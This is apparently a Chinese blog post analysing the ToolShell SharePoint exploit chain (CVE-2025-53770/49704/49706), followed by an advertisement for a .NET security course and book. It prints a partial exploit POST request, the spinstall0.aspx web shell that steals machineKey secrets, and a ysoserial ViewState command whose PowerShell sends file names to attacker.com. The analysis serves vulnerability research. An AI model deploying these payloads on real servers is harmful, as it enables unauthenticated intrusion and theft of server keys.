ToolShell 是一组基于 Microsoft SharePoint 系列产品的合成型零日漏洞利用链,这条利用链是由 CVE-2025-49706 反序列化执行和 CVE-2025-49704 一处未授权 WebShell 上传组成的。通过一系列有计划的操作,攻击者可以无需身份认证地完成解析配置文件,解码签名,生成有效的 __VIEWSTATE 代码并执行任意命令。
该攻击链的最大危险在于:无需任何已知资料或身份认证,即可直接进入服务器基础环境执行命令。
2025年7月18日,荷兰安全公司 Eye Security 首次发现 SharePoint 服务器被攻击。通过后续分析,发现这是一个新型的 ViewState 使用链,且已经带有自动 WebShell 上传。截至目前,自至少 7 月 18 日以来就一直被积极利用,且没有可用的补丁,全球至少有 85 台服务器已受到攻击。
2025年7月19日,微软官方确认此事,并给予 CVE-2025-53770 漏洞编号。
https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/
5 月,网络安全研究人员在柏林 Pwn2Own 上演示的ToolShell攻击中,串联了两个 Microsoft SharePoint 漏洞,尽管微软在7 月补丁星期二修补了这两个 ToolShell 漏洞,但它现在警告称,威胁行为者能够利用新的漏洞绕过修复程序。
这些新漏洞被追踪为 CVE-2025-53770(绕过 CVE-2025-49704)和 CVE-2025-53771(CVE-2025-49706)
2.1 初始访问阶段
首先利用 ToolPane.aspx 路径发送定制化的 POST 请求,国外安全研究人员发布了概念性的验证代码,未经测试,部分代码如下所示。
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1Host: targetUser-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Content-Length:7939Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedReferer:/_layouts/SignOut.aspxMSOTlPn_Uri=https%3A%2F%2Ftarget%2F_controltemplates%2F15%2FAclEditor.ascx&MSOTlPn_DWP=%0A++++%3C%25%40+Register+Tagprefix%3D%22Scorecard%22+Namespace%3D%22Microsoft.PerformancePoint.Scorecards%22+Assembly%3D%22Microsoft.PerformancePoint.Scorecards.Client%2C+Version%3D16.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D71e9bce111e9429c%22+%25%3E%0A++++%3C%25%40+Register+Tagprefix%3D%22asp%22+Namespace%3D%22System.Web.UI%22+Assembly%3D%22System.Web.Extensions%2C+Version%3D4.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D31bf3856ad364e35%22+%25%3E%0A%0A%3Casp%3AUpdateProgress+ID%3D%22UpdateProgress1%22+DisplayAfter%3D%2210%22+%0Arunat%3D%22server%22+AssociatedUpdatePanelID%3D%22upTest%22%3E%0A%3CProgressTemplate%3E%0A++%3Cdiv+class%3D%22divWaiting%22%3E++++++++++++%0A++++%3CScorecard%3AExcelDataSet
2.2 获取IIS密钥
攻击者通过 ToolShell 链上传恶意 ASPX 文件 spinstall0.aspx
,该文件用于读取IIS自动生成的 machineKey 信息。据说,spinstall0.aspx 的内容,很可能是用 Sharpyshell 创建的。
<%@ Import Namespace="System.Diagnostics"%><%@ Import Namespace="System.IO"%><script runat="server" language="c#" CODEPAGE="65001">publicvoidPage_load(){var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);var cg =(System.Web.Configuration.MachineKeySection)gac.Invoke(null,newobject[0]); Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);}</script>
这不是典型的 Webshell,没有交互式命令、反向 Shell 或命令与控制逻辑。相反,该页面调用了内部 .NET 方法来读取服务器的MachineKey配置,其中包括ValidationKey
。
这些密钥对于生成反序列化有效的 Payload 至关重要__VIEWSTATE
,关于这个知识点,我们之前也有相关内容的介绍。
当默认不配置MachineKey时,运行时验证和解密密钥会自动生成,有个利用场景:
假设拿到了webshell的情况下,可以用dotnetShell4ViewState.aspx 脚本读取自动配置的密钥,拿着自动生成的密钥再去反序列化攻击,这样可以达成维持权限的目标,拿到的密钥如下图所示。
通过已上传的 WebShell,攻击者提取 ValidationKey
和 DecryptionKey
,获得签名 ViewState 的能力。
2.3 创建有效负载
红队使用提取到的密钥与 ysoserial 工具,制作恶意命令的有效VIEWSTATE,有效负载在服务器反序列化时被执行,达成远程命令执行,具体命令可参考如下:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -nop -c "dir 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }""--generator="<VIEWSTATE_GENERATOR>"--validationkey="<VALIDATION_KEY>"--validationalg="SHA1"--islegacy --minify
该请求被 SharePoint 完全解析,且由于签名合法,系统视为安全输入,从而直接进行命令执行。
以上相关的知识点已收录于新书《.NET安全攻防指南》,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。
上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。
微软的.NET技术广泛应用于全球企业级产品,包括其知名的Exchange、SharePoint等,国内如 某友的Cloud、某通的T系列、某蝶的云产品 等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击,问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。
截至目前,星球已推出近100节内容 (还在持续增加),包括70个视频+30份PDF文档。我们已将内容细致划分为15个分类,并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。
录播课程
.NET 安全审计课程持续更新中,以下是部分之前已发布的录播章节一览:
专属福利
1. 学习模式: 代码审计知识星球在线录播视频 +后续漏洞挖掘直播、内部专属交流社区答疑解惑;
2. 优享福利:加入.NET代码审计星球后赠送永久dot.Net安全基础入门星球。
课程评价
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,越早加入越划算! 现在加入星球可享受星球早鸟价,现在加入星球可享受星球100元优惠券或送出一套团队新书《.NET安全攻防指南》签名版。
期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,可扫描下方老师二维码了解更多详情。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...